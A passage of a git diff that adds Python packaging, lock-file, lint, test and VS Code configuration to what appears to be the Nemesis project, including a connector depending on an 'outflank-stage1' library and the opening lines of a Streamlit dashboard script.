(>=2.0.0,<3.0.0)", "rich (>=10,<13)"] +http2 = ["h2 (>=3,<5)"] +socks = ["socksio (>=1.0.0,<2.0.0)"] + +[[package]] +name = "idna" +version = "3.4" +description = "Internationalized Domain Names in Applications (IDNA)" +category = "main" +optional = false +python-versions = ">=3.5" +files = [ + {file = "idna-3.4-py3-none-any.whl", hash = "sha256:90b77e79eaa3eba6de819a0c442c0b4ceefc341a7a2ab77d7562bf49f425c5c2"}, + {file = "idna-3.4.tar.gz", hash = "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4"}, +] + +[[package]] +name = "iniconfig" +version = "2.0.0" +description = "brain-dead simple config-ini parsing" +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "iniconfig-2.0.0-py3-none-any.whl", hash = "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374"}, + {file = "iniconfig-2.0.0.tar.gz", hash = "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3"}, +] + +[[package]] +name = "mccabe" +version = "0.7.0" +description = "McCabe checker, plugin for flake8" +category = "dev" +optional = false +python-versions = ">=3.6" +files = [ + {file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"}, + {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"}, +] + +[[package]] +name = "mypy" +version = "0.971" +description = "Optional static typing for Python" +category = "dev" +optional = false +python-versions = ">=3.6" +files = [ + {file = "mypy-0.971-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:f2899a3cbd394da157194f913a931edfd4be5f274a88041c9dc2d9cdcb1c315c"}, + {file = "mypy-0.971-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:98e02d56ebe93981c41211c05adb630d1d26c14195d04d95e49cd97dbc046dc5"}, + {file = "mypy-0.971-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:19830b7dba7d5356d3e26e2427a2ec91c994cd92d983142cbd025ebe81d69cf3"}, + {file = "mypy-0.971-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:02ef476f6dcb86e6f502ae39a16b93285fef97e7f1ff22932b657d1ef1f28655"}, + {file = "mypy-0.971-cp310-cp310-win_amd64.whl", hash = "sha256:25c5750ba5609a0c7550b73a33deb314ecfb559c350bb050b655505e8aed4103"}, + {file = "mypy-0.971-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:d3348e7eb2eea2472db611486846742d5d52d1290576de99d59edeb7cd4a42ca"}, + {file = "mypy-0.971-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3fa7a477b9900be9b7dd4bab30a12759e5abe9586574ceb944bc29cddf8f0417"}, + {file = "mypy-0.971-cp36-cp36m-win_amd64.whl", hash = "sha256:2ad53cf9c3adc43cf3bea0a7d01a2f2e86db9fe7596dfecb4496a5dda63cbb09"}, + {file = "mypy-0.971-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:855048b6feb6dfe09d3353466004490b1872887150c5bb5caad7838b57328cc8"}, + {file = "mypy-0.971-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:23488a14a83bca6e54402c2e6435467a4138785df93ec85aeff64c6170077fb0"}, + {file = "mypy-0.971-cp37-cp37m-win_amd64.whl", hash = "sha256:4b21e5b1a70dfb972490035128f305c39bc4bc253f34e96a4adf9127cf943eb2"}, + {file = "mypy-0.971-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:9796a2ba7b4b538649caa5cecd398d873f4022ed2333ffde58eaf604c4d2cb27"}, + {file = "mypy-0.971-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:5a361d92635ad4ada1b1b2d3630fc2f53f2127d51cf2def9db83cba32e47c856"}, + {file = "mypy-0.971-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b793b899f7cf563b1e7044a5c97361196b938e92f0a4343a5d27966a53d2ec71"}, + {file = "mypy-0.971-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d1ea5d12c8e2d266b5fb8c7a5d2e9c0219fedfeb493b7ed60cd350322384ac27"}, + {file = "mypy-0.971-cp38-cp38-win_amd64.whl", hash = "sha256:23c7ff43fff4b0df93a186581885c8512bc50fc4d4910e0f838e35d6bb6b5e58"}, + {file = "mypy-0.971-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:1f7656b69974a6933e987ee8ffb951d836272d6c0f81d727f1d0e2696074d9e6"}, + {file = "mypy-0.971-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d2022bfadb7a5c2ef410d6a7c9763188afdb7f3533f22a0a32be10d571ee4bbe"}, + {file = "mypy-0.971-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ef943c72a786b0f8d90fd76e9b39ce81fb7171172daf84bf43eaf937e9f220a9"}, + {file = "mypy-0.971-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d744f72eb39f69312bc6c2abf8ff6656973120e2eb3f3ec4f758ed47e414a4bf"}, + {file = "mypy-0.971-cp39-cp39-win_amd64.whl", hash = "sha256:77a514ea15d3007d33a9e2157b0ba9c267496acf12a7f2b9b9f8446337aac5b0"}, + {file = "mypy-0.971-py3-none-any.whl", hash = "sha256:0d054ef16b071149917085f51f89555a576e2618d5d9dd70bd6eea6410af3ac9"}, + {file = "mypy-0.971.tar.gz", hash = "sha256:40b0f21484238269ae6a57200c807d80debc6459d444c0489a102d7c6a75fa56"}, +] + +[package.dependencies] +mypy-extensions = ">=0.4.3" +tomli = {version = ">=1.1.0", markers = "python_version < \"3.11\""} +typing-extensions = ">=3.10" + +[package.extras] +dmypy = ["psutil (>=4.0)"] +python2 = ["typed-ast (>=1.4.0,<2)"] +reports = ["lxml"] + +[[package]] +name = "mypy-extensions" +version = "1.0.0" +description = "Type system extensions for programs checked with the mypy type checker." +category = "dev" +optional = false +python-versions = ">=3.5" +files = [ + {file = "mypy_extensions-1.0.0-py3-none-any.whl", hash = "sha256:4392f6c0eb8a5668a69e23d168ffa70f0be9ccfd32b5cc2d26a34ae5b844552d"}, + {file = "mypy_extensions-1.0.0.tar.gz", hash = "sha256:75dbf8955dc00442a438fc4d0666508a9a97b6bd41aa2f0ffe9d2f2725af0782"}, +] + +[[package]] +name = "outflank-stage1" +version = "0.1.0" +description = "" +category = "dev" +optional = false +python-versions = "*" +files = [] +develop = false + +[package.dependencies] +tabulate = "*" + +[package.source] +type = "directory" +url = "../../../lib/outflank_stage1" + +[[package]] +name = "packaging" +version = "23.0" +description = "Core utilities for Python packages" +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "packaging-23.0-py3-none-any.whl", hash = "sha256:714ac14496c3e68c99c29b00845f7a2b85f3bb6f1078fd9f72fd20f0570002b2"}, + {file = "packaging-23.0.tar.gz", hash = "sha256:b6ad297f8907de0fa2fe1ccbd26fdaf387f5f47c7275fedf8cce89f99446cf97"}, +] + +[[package]] +name = "pathspec" +version = "0.11.1" +description = "Utility library for gitignore style pattern matching of file paths." +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pathspec-0.11.1-py3-none-any.whl", hash = "sha256:d8af70af76652554bd134c22b3e8a1cc46ed7d91edcdd721ef1a0c51a84a5293"}, + {file = "pathspec-0.11.1.tar.gz", hash = "sha256:2798de800fa92780e33acca925945e9a19a133b715067cf165b8866c15a31687"}, +] + +[[package]] +name = "platformdirs" +version = "3.1.1" +description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"." +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "platformdirs-3.1.1-py3-none-any.whl", hash = "sha256:e5986afb596e4bb5bde29a79ac9061aa955b94fca2399b7aaac4090860920dd8"}, + {file = "platformdirs-3.1.1.tar.gz", hash = "sha256:024996549ee88ec1a9aa99ff7f8fc819bb59e2c3477b410d90a16d32d6e707aa"}, +] + +[package.extras] +docs = ["furo (>=2022.12.7)", "proselint (>=0.13)", "sphinx (>=6.1.3)", "sphinx-autodoc-typehints (>=1.22,!=1.23.4)"] +test = ["appdirs (==1.4.4)", "covdefaults (>=2.2.2)", "pytest (>=7.2.1)", "pytest-cov (>=4)", "pytest-mock (>=3.10)"] + +[[package]] +name = "pluggy" +version = "1.0.0" +description = "plugin and hook calling mechanisms for python" +category = "dev" +optional = false +python-versions = ">=3.6" +files = [ + {file = "pluggy-1.0.0-py2.py3-none-any.whl", hash = "sha256:74134bbf457f031a36d68416e1509f34bd5ccc019f0bcc952c7b909d06b37bd3"}, + {file = "pluggy-1.0.0.tar.gz", hash = "sha256:4224373bacce55f955a878bf9cfa763c1e360858e330072059e10bad68531159"}, +] + +[package.extras] +dev = ["pre-commit", "tox"] +testing = ["pytest", "pytest-benchmark"] + +[[package]] +name = "pycodestyle" +version = "2.9.1" +description = "Python style guide checker" +category = "dev" +optional = false +python-versions = ">=3.6" +files = [ + {file = "pycodestyle-2.9.1-py2.py3-none-any.whl", hash = "sha256:d1735fc58b418fd7c5f658d28d943854f8a849b01a5d0a1e6f3f3fdd0166804b"}, + {file = "pycodestyle-2.9.1.tar.gz", hash = "sha256:2c9607871d58c76354b697b42f5d57e1ada7d261c261efac224b664affdc5785"}, +] + +[[package]] +name = "pydantic" +version = "1.10.7" +description = "Data validation and settings management using python type hints" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pydantic-1.10.7-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e79e999e539872e903767c417c897e729e015872040e56b96e67968c3b918b2d"}, + {file = "pydantic-1.10.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:01aea3a42c13f2602b7ecbbea484a98169fb568ebd9e247593ea05f01b884b2e"}, + {file = "pydantic-1.10.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:516f1ed9bc2406a0467dd777afc636c7091d71f214d5e413d64fef45174cfc7a"}, + {file = "pydantic-1.10.7-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ae150a63564929c675d7f2303008d88426a0add46efd76c3fc797cd71cb1b46f"}, + {file = "pydantic-1.10.7-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ecbbc51391248116c0a055899e6c3e7ffbb11fb5e2a4cd6f2d0b93272118a209"}, + {file = "pydantic-1.10.7-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:f4a2b50e2b03d5776e7f21af73e2070e1b5c0d0df255a827e7c632962f8315af"}, + {file = "pydantic-1.10.7-cp310-cp310-win_amd64.whl", hash = "sha256:a7cd2251439988b413cb0a985c4ed82b6c6aac382dbaff53ae03c4b23a70e80a"}, + {file = "pydantic-1.10.7-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:68792151e174a4aa9e9fc1b4e653e65a354a2fa0fed169f7b3d09902ad2cb6f1"}, + {file = "pydantic-1.10.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:dfe2507b8ef209da71b6fb5f4e597b50c5a34b78d7e857c4f8f3115effaef5fe"}, + {file = "pydantic-1.10.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:10a86d8c8db68086f1e30a530f7d5f83eb0685e632e411dbbcf2d5c0150e8dcd"}, + {file = "pydantic-1.10.7-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d75ae19d2a3dbb146b6f324031c24f8a3f52ff5d6a9f22f0683694b3afcb16fb"}, + {file = "pydantic-1.10.7-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:464855a7ff7f2cc2cf537ecc421291b9132aa9c79aef44e917ad711b4a93163b"}, + {file = "pydantic-1.10.7-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:193924c563fae6ddcb71d3f06fa153866423ac1b793a47936656e806b64e24ca"}, + {file = "pydantic-1.10.7-cp311-cp311-win_amd64.whl", hash = "sha256:b4a849d10f211389502059c33332e91327bc154acc1845f375a99eca3afa802d"}, + {file = "pydantic-1.10.7-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:cc1dde4e50a5fc1336ee0581c1612215bc64ed6d28d2c7c6f25d2fe3e7c3e918"}, + {file = "pydantic-1.10.7-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e0cfe895a504c060e5d36b287ee696e2fdad02d89e0d895f83037245218a87fe"}, + {file = "pydantic-1.10.7-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:670bb4683ad1e48b0ecb06f0cfe2178dcf74ff27921cdf1606e527d2617a81ee"}, + {file = "pydantic-1.10.7-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:950ce33857841f9a337ce07ddf46bc84e1c4946d2a3bba18f8280297157a3fd1"}, + {file = "pydantic-1.10.7-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:c15582f9055fbc1bfe50266a19771bbbef33dd28c45e78afbe1996fd70966c2a"}, + {file = "pydantic-1.10.7-cp37-cp37m-win_amd64.whl", hash = "sha256:82dffb306dd20bd5268fd6379bc4bfe75242a9c2b79fec58e1041fbbdb1f7914"}, + {file = "pydantic-1.10.7-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:8c7f51861d73e8b9ddcb9916ae7ac39fb52761d9ea0df41128e81e2ba42886cd"}, + {file = "pydantic-1.10.7-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6434b49c0b03a51021ade5c4daa7d70c98f7a79e95b551201fff682fc1661245"}, + {file = "pydantic-1.10.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64d34ab766fa056df49013bb6e79921a0265204c071984e75a09cbceacbbdd5d"}, + {file = "pydantic-1.10.7-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:701daea9ffe9d26f97b52f1d157e0d4121644f0fcf80b443248434958fd03dc3"}, + {file = "pydantic-1.10.7-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:cf135c46099ff3f919d2150a948ce94b9ce545598ef2c6c7bf55dca98a304b52"}, + {file = "pydantic-1.10.7-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b0f85904f73161817b80781cc150f8b906d521fa11e3cdabae19a581c3606209"}, + {file = "pydantic-1.10.7-cp38-cp38-win_amd64.whl", hash = "sha256:9f6f0fd68d73257ad6685419478c5aece46432f4bdd8d32c7345f1986496171e"}, + {file = "pydantic-1.10.7-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:c230c0d8a322276d6e7b88c3f7ce885f9ed16e0910354510e0bae84d54991143"}, + {file = "pydantic-1.10.7-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:976cae77ba6a49d80f461fd8bba183ff7ba79f44aa5cfa82f1346b5626542f8e"}, + {file = "pydantic-1.10.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7d45fc99d64af9aaf7e308054a0067fdcd87ffe974f2442312372dfa66e1001d"}, + {file = "pydantic-1.10.7-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d2a5ebb48958754d386195fe9e9c5106f11275867051bf017a8059410e9abf1f"}, + {file = "pydantic-1.10.7-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:abfb7d4a7cd5cc4e1d1887c43503a7c5dd608eadf8bc615413fc498d3e4645cd"}, + {file = "pydantic-1.10.7-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:80b1fab4deb08a8292d15e43a6edccdffa5377a36a4597bb545b93e79c5ff0a5"}, + {file = "pydantic-1.10.7-cp39-cp39-win_amd64.whl", hash = "sha256:d71e69699498b020ea198468e2480a2f1e7433e32a3a99760058c6520e2bea7e"}, + {file = "pydantic-1.10.7-py3-none-any.whl", hash = "sha256:0cd181f1d0b1d00e2b705f1bf1ac7799a2d938cce3376b8007df62b29be3c2c6"}, + {file = "pydantic-1.10.7.tar.gz", hash = "sha256:cfc83c0678b6ba51b0532bea66860617c4cd4251ecf76e9846fa5a9f3454e97e"}, +] + +[package.dependencies] +typing-extensions = ">=4.2.0" + +[package.extras] +dotenv = ["python-dotenv (>=0.10.4)"] +email = ["email-validator (>=1.0.3)"] + +[[package]] +name = "pyflakes" +version = "2.5.0" +description = "passive checker of Python programs" +category = "dev" +optional = false +python-versions = ">=3.6" +files = [ + {file = "pyflakes-2.5.0-py2.py3-none-any.whl", hash = "sha256:4579f67d887f804e67edb544428f264b7b24f435b263c4614f384135cea553d2"}, + {file = "pyflakes-2.5.0.tar.gz", hash = "sha256:491feb020dca48ccc562a8c0cbe8df07ee13078df59813b83959cbdada312ea3"}, +] + +[[package]] +name = "pytest" +version = "7.2.2" +description = "pytest: simple powerful testing with Python" +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pytest-7.2.2-py3-none-any.whl", hash = "sha256:130328f552dcfac0b1cec75c12e3f005619dc5f874f0a06e8ff7263f0ee6225e"}, + {file = "pytest-7.2.2.tar.gz", hash = "sha256:c99ab0c73aceb050f68929bc93af19ab6db0558791c6a0715723abe9d0ade9d4"}, +] + +[package.dependencies] +attrs = ">=19.2.0" +colorama = {version = "*", markers = "sys_platform == \"win32\""} +exceptiongroup = {version = ">=1.0.0rc8", markers = "python_version < \"3.11\""} +iniconfig = "*" +packaging = "*" +pluggy = ">=0.12,<2.0" +tomli = {version = ">=1.0.0", markers = "python_version < \"3.11\""} + +[package.extras] +testing = ["argcomplete", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "xmlschema"] + +[[package]] +name = "requests" +version = "2.28.2" +description = "Python HTTP for Humans." +category = "main" +optional = false +python-versions = ">=3.7, <4" +files = [ + {file = "requests-2.28.2-py3-none-any.whl", hash = "sha256:64299f4909223da747622c030b781c0d7811e359c37124b4bd368fb8c6518baa"}, + {file = "requests-2.28.2.tar.gz", hash = "sha256:98b1b2782e3c6c4904938b84c0eb932721069dfdb9134313beff7c83c2df24bf"}, +] + +[package.dependencies] +certifi = ">=2017.4.17" +charset-normalizer = ">=2,<4" +idna = ">=2.5,<4" +urllib3 = ">=1.21.1,<1.27" + +[package.extras] +socks = ["PySocks (>=1.5.6,!=1.5.7)"] +use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] + +[[package]] +name = "rfc3986" +version = "1.5.0" +description = "Validating URI References per RFC 3986" +category = "main" +optional = false +python-versions = "*" +files = [ + {file = "rfc3986-1.5.0-py2.py3-none-any.whl", hash = "sha256:a86d6e1f5b1dc238b218b012df0aa79409667bb209e58da56d0b94704e712a97"}, + {file = "rfc3986-1.5.0.tar.gz", hash = "sha256:270aaf10d87d0d4e095063c65bf3ddbc6ee3d0b226328ce21e036f946e421835"}, +] + +[package.dependencies] +idna = {version = "*", optional = true, markers = "extra == \"idna2008\""} + +[package.extras] +idna2008 = ["idna"] + +[[package]] +name = "sniffio" +version = "1.3.0" +description = "Sniff out which async library your code is running under" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "sniffio-1.3.0-py3-none-any.whl", hash = "sha256:eecefdce1e5bbfb7ad2eeaabf7c1eeb404d7757c379bd1f7e5cce9d8bf425384"}, + {file = "sniffio-1.3.0.tar.gz", hash = "sha256:e60305c5e5d314f5389259b7f22aaa33d8f7dee49763119234af3755c55b9101"}, +] + +[[package]] +name = "tabulate" +version = "0.9.0" +description = "Pretty-print tabular data" +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "tabulate-0.9.0-py3-none-any.whl", hash = "sha256:024ca478df22e9340661486f85298cff5f6dcdba14f3813e8830015b9ed1948f"}, + {file = "tabulate-0.9.0.tar.gz", hash = "sha256:0095b12bf5966de529c0feb1fa08671671b3368eec77d7ef7ab114be2c068b3c"}, +] + +[package.extras] +widechars = ["wcwidth"] + +[[package]] +name = "tomli" +version = "2.0.1" +description = "A lil' TOML parser" +category = "dev" +optional = false +python-versions = ">=3.7" +files = [ + {file = "tomli-2.0.1-py3-none-any.whl", hash = "sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc"}, + {file = "tomli-2.0.1.tar.gz", hash = "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"}, +] + +[[package]] +name = "typing-extensions" +version = "4.5.0" +description = "Backported and Experimental Type Hints for Python 3.7+" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "typing_extensions-4.5.0-py3-none-any.whl", hash = "sha256:fb33085c39dd998ac16d1431ebc293a8b3eedd00fd4a32de0ff79002c19511b4"}, + {file = "typing_extensions-4.5.0.tar.gz", hash = "sha256:5cb5f4a79139d699607b3ef622a1dedafa84e115ab0024e0d9c044a9479ca7cb"}, +] + +[[package]] +name = "urllib3" +version = "1.26.15" +description = "HTTP library with thread-safe connection pooling, file post, and more." +category = "main" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" +files = [ + {file = "urllib3-1.26.15-py2.py3-none-any.whl", hash = "sha256:aa751d169e23c7479ce47a0cb0da579e3ede798f994f5816a74e4f4500dcea42"}, + {file = "urllib3-1.26.15.tar.gz", hash = "sha256:8a388717b9476f934a21484e8c8e61875ab60644d29b9b39e11e4b9dc1c6b305"}, +] + +[package.extras] +brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)", "brotlipy (>=0.6.0)"] +secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress", "pyOpenSSL (>=0.14)", "urllib3-secure-extra"] +socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"] + +[metadata] +lock-version = "2.0" +python-versions = "^3.10.10" +content-hash = "1b69017bd876713f344ff169793760fa9dff0aca3962a18dfa7efdf68718e615" diff --git a/cmd/connectors/stage1-connector/poetry.toml b/cmd/connectors/stage1-connector/poetry.toml new file mode 100644 index 0000000..be97f1e --- /dev/null +++ b/cmd/connectors/stage1-connector/poetry.toml @@ -0,0 +1,3 @@ +[virtualenvs] +in-project = true +prefer-active-python = true \ No newline at end of file diff --git a/cmd/connectors/stage1-connector/pyproject.toml b/cmd/connectors/stage1-connector/pyproject.toml new file mode 100644 index 0000000..e8fe44a --- /dev/null +++ b/cmd/connectors/stage1-connector/pyproject.toml @@ -0,0 +1,25 @@ +[tool.poetry] +name = "nemesis-connector" +version = "0.1.0" +description = "" +authors = ["SpecterOps "] +readme = "README.md" +packages = [{include = "nemesis_connector"}] + +[tool.poetry.dependencies] +python = "^3.10.10" +requests = "^2.28.2" +httpx = "^0.23.3" +dynaconf = "^3.1.12" +pydantic = "^1.10.7" + +[tool.poetry.dev-dependencies] +outflank-stage1 = {path = "../../../lib/outflank_stage1"} +pytest = "^7.1.2" +black = "^22.6.0" +flake8 = "^5.0.4" +mypy = "^0.971" + +[build-system] +build-backend = "poetry.core.masonry.api" +requires = ["poetry-core"] diff --git a/cmd/connectors/stage1-connector/pytest.ini b/cmd/connectors/stage1-connector/pytest.ini new file mode 100644 index 0000000..a318d22 --- /dev/null +++ b/cmd/connectors/stage1-connector/pytest.ini @@ -0,0 +1,6 @@ +[pytest] +minversion = 6.0 +asyncio_mode = auto +addopts = -ra -q +testpaths = + tests diff --git a/cmd/connectors/stage1-connector/tests/__init__.py b/cmd/connectors/stage1-connector/tests/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/cmd/dashboard/.flake8 b/cmd/dashboard/.flake8 new file mode 100644 index 0000000..f3b8a89 --- /dev/null +++ b/cmd/dashboard/.flake8 @@ -0,0 +1,9 @@ +[flake8] +ignore = E231, E241 +max-line-length = 240 +count = true +max-complexity = 10 +max-cognitive-complexity=20 +exclude = + enrichment/lib/ext_tools + .venv \ No newline at end of file diff --git a/cmd/dashboard/.vscode/extensions.json b/cmd/dashboard/.vscode/extensions.json new file mode 100644 index 0000000..5751efd --- /dev/null +++ b/cmd/dashboard/.vscode/extensions.json @@ -0,0 +1,16 @@ +{ + // See https://go.microsoft.com/fwlink/?LinkId=827846 to learn about workspace recommendations. + // Extension identifier format: ${publisher}.${name}. Example: vscode.csharp + // List of extensions which should be recommended for users of this workspace. + "recommendations": [ + "ms-python.black-formatter", + "ms-python.flake8", + "ms-python.isort", + "ms-python.python", + "ms-python.vscode-pylance", + "njpwerner.autodocstring", + "zxh404.vscode-proto3", + ], + // List of extensions recommended by VS Code that should not be recommended for users of this workspace. + "unwantedRecommendations": [] +} \ No newline at end of file diff --git a/cmd/dashboard/.vscode/launch.json b/cmd/dashboard/.vscode/launch.json new file mode 100644 index 0000000..c81be65 --- /dev/null +++ b/cmd/dashboard/.vscode/launch.json @@ -0,0 +1,29 @@ +{ + // Use IntelliSense to learn about possible attributes. + // Hover to view descriptions of existing attributes. + // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 + "version": "0.2.0", + "configurations": [ + { + "name": "Service: dashboard", + "type": "python", + "request": "launch", + "module": "streamlit", + "args": [ + "run", + "${workspaceFolder}/dashboard/Nemesis.py" + ], + "console": "integratedTerminal", + "cwd": "${workspaceFolder}/dashboard/", + "justMyCode": false, + "env": { + "LOG_LEVEL": "DEBUG", + "ENVIRONMENT": "development", + "PROMETHEUS_PORT": "18000", + // "PYTHONASYNCIODEBUG": "1", + "BETTER_EXCEPTIONS": "1", + "FORCE_COLOR": "1", + }, + } + ] +} \ No newline at end of file diff --git a/cmd/dashboard/.vscode/settings.json b/cmd/dashboard/.vscode/settings.json new file mode 100644 index 0000000..13e33e0 --- /dev/null +++ b/cmd/dashboard/.vscode/settings.json @@ -0,0 +1,64 @@ +{ + "[javascript]": { + "editor.formatOnSave": false + }, + "[html]": { + "editor.formatOnSave": false + }, + "[python]": { + "editor.formatOnSave": true, + "editor.codeActionsOnSave": { + "source.organizeImports": true + }, + "editor.defaultFormatter": "ms-python.black-formatter" + }, + "editor.formatOnSave": true, + "files.exclude": { + "**/.DS_Store": true, + "**/.git": true, + "**/.hg": true, + "**/.mypy_cache": true, + "**/.pytest_cache": true, + "**/.svn": true, + "**/.venv": true, + "**/__pycache__": true, + "**/Thumbs.db": true + }, + "files.trimTrailingWhitespace": true, + "files.watcherExclude": { + "**/__pycache__/**": true, + "**/.git/objects/**": true, + "**/.git/subtree-cache/**": true, + "**/.hg/store/**": true, + "**/.ipynb_checkpoints/**": true, + "**/.mypy_cache/**": true, + "**/.pytest_cache/**": true, + "**/.venv/**": true, + "**/*.egg-info/**": true, + "**/build/**": true, + "**/dist/**": true, + "**/node_modules/*/**": true, + }, + "python.analysis.diagnosticSeverityOverrides": { + "reportMissingImports": "none", + "reportMissingModuleSource": "none", + }, + "python.analysis.useLibraryCodeForTypes": true, // Pyright + "python.formatting.provider": "black", + "python.languageServer": "Pylance", + "python.linting.enabled": true, + "python.linting.flake8Args": [ + "--max-line-length=240", + "--ignore=E203,E722,W503", + ], + "python.linting.flake8Enabled": true, + "python.linting.lintOnSave": true, + "python.linting.pylintEnabled": false, + "python.testing.pytestArgs": [ + "tests" + ], + "python.testing.unittestEnabled": false, + "python.testing.pytestEnabled": true, + "python.analysis.typeCheckingMode": "basic", + "problems.showOnSave": true +} \ No newline at end of file diff --git a/cmd/dashboard/.vscode/tasks.json b/cmd/dashboard/.vscode/tasks.json new file mode 100644 index 0000000..00b0263 --- /dev/null +++ b/cmd/dashboard/.vscode/tasks.json @@ -0,0 +1,12 @@ +{ + // See https://go.microsoft.com/fwlink/?LinkId=733558 + // for the documentation about the tasks.json format + "version": "2.0.0", + "tasks": [ + { + "label": "Type Checking", + "type": "shell", + "command": "poetry run pyright" + } + ] +} \ No newline at end of file diff --git a/cmd/dashboard/README.md b/cmd/dashboard/README.md new file mode 100644 index 0000000..548bb05 --- /dev/null +++ b/cmd/dashboard/README.md @@ -0,0 +1,7 @@ +# Dashbaord + +This is the primary Nemesis dashboard, built in Streamlit. + +# References + +The elastic search code is _heavily_ based on [ChiaChong](https://medium.com/@chiachong.14)'s [medium-search-app](https://github.com/chiachong/medium-search-app) repository (no license). diff --git a/cmd/dashboard/dashboard/.streamlit/config.toml b/cmd/dashboard/dashboard/.streamlit/config.toml new file mode 100644 index 0000000..533de4b --- /dev/null +++ b/cmd/dashboard/dashboard/.streamlit/config.toml @@ -0,0 +1,4 @@ +[theme] +base="dark" +primaryColor = "#00B36B" +font = "sans serif" \ No newline at end of file diff --git a/cmd/dashboard/dashboard/Nemesis.py b/cmd/dashboard/dashboard/Nemesis.py new file mode 100644 index 0000000..7047c49 --- /dev/null +++ b/cmd/dashboard/dashboard/Nemesis.py @@ -0,0 +1,126 @@ +#!/usr/bin/python3 +# from streamlit_chat import message +# 3rd Party Libraries +import requests +import streamlit as st +import utils + +NEMESIS_API_URL = "http://enrichment-webapi:9910/" + +current_user = utils.header() + +if st.session_state["authentication_status"]: + + if "reprocess_button" not in st.session_state: + st.session_state["reprocess_button"] = False + + if "reprocessing" not in st.session_state: 